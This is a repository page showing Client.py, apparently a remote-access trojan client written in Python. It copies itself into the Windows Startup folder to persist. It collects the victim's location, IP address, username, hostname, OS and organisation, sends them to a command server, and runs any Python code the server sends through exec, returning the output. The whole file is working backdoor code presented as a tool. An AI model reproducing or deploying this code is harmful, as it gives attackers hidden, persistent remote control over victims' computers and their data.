-
Notifications
You must be signed in to change notification settings - Fork 0
/
Client.py
117 lines (93 loc) · 3.7 KB
/
Client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from datetime import datetime
from io import StringIO
import platform
import requests
import getpass
import socket
import shutil
import time
import sys
import os
server_host = "127.0.0.1"
server_port = 65535
reconnect_delay = 10
copy_to_startup = True # True/False
ip_api_url = "https://ipinfo.io/json"
def copy_executable_to_startup():
try:
if platform.system() == "Windows":
startup_folder_path = os.path.join(os.getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")
shutil.copy(sys.executable, startup_folder_path)
else:
print("OS isnt supported for copying to startup")
except Exception as e:
print(f"Error: {e}")
def connect_server():
global client_socket
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (server_host, server_port)
print(f"[{datetime.now():%X}] Connecting to server...")
while True:
try:
client_socket.connect(server_address)
print(f"[{datetime.now():%X}] Connected to server")
break
except:
time.sleep(reconnect_delay)
def get_client_info():
try:
response = requests.get(ip_api_url)
data = response.json()
country = data.get("country")
city = data.get("city")
location = f"{country}/{city}"
public_ip = data.get("ip")
local_ip = socket.gethostbyname(socket.gethostname())
ip = f"{local_ip}"
username = getpass.getuser()
hostname = socket.gethostname()
user = f"{username}@{hostname}"
system_info = platform.uname()
os = f"{system_info.system} {system_info.release} {system_info.version}"
org = data.get("org")
return location, ip, user, os, org
except Exception as e:
print(f"[{datetime.now():%X}] Error getting client info: {e}")
return None, None, None, None, None
def client():
connect_server()
while True:
try:
location, ip, user, os, org = get_client_info()
message = f"{location}\n{ip}\n{user}\n{os}\n{org}".encode()
client_socket.sendall(message)
print(f"[{datetime.now():%X}] SEND {message}")
while True:
data = client_socket.recv(1024)
decoded_data = data.decode()
print(f"[{datetime.now():%X}] RECEIVE {data}")
client_port = client_socket.getsockname()[1]
if decoded_data.startswith("#exec\n") or decoded_data.startswith(f"#exec {ip.split("/")[0]}:{client_port}\n"):
try:
output_capture = StringIO()
sys.stdout = output_capture
exec(decoded_data)
captured_output = output_capture.getvalue()
sys.stdout = sys.__stdout__
if captured_output:
client_socket.sendall(captured_output.encode())
print(
f"[{datetime.now():%X}] SEND {captured_output.encode()}"
)
except Exception as e:
if e:
client_socket.sendall(e.encode())
else:
client_socket.sendall("error".encode())
except ConnectionError:
print(f"[{datetime.now():%X}] Connection error")
connect_server()
if __name__ == "__main__":
if copy_to_startup is True:
copy_executable_to_startup()
client()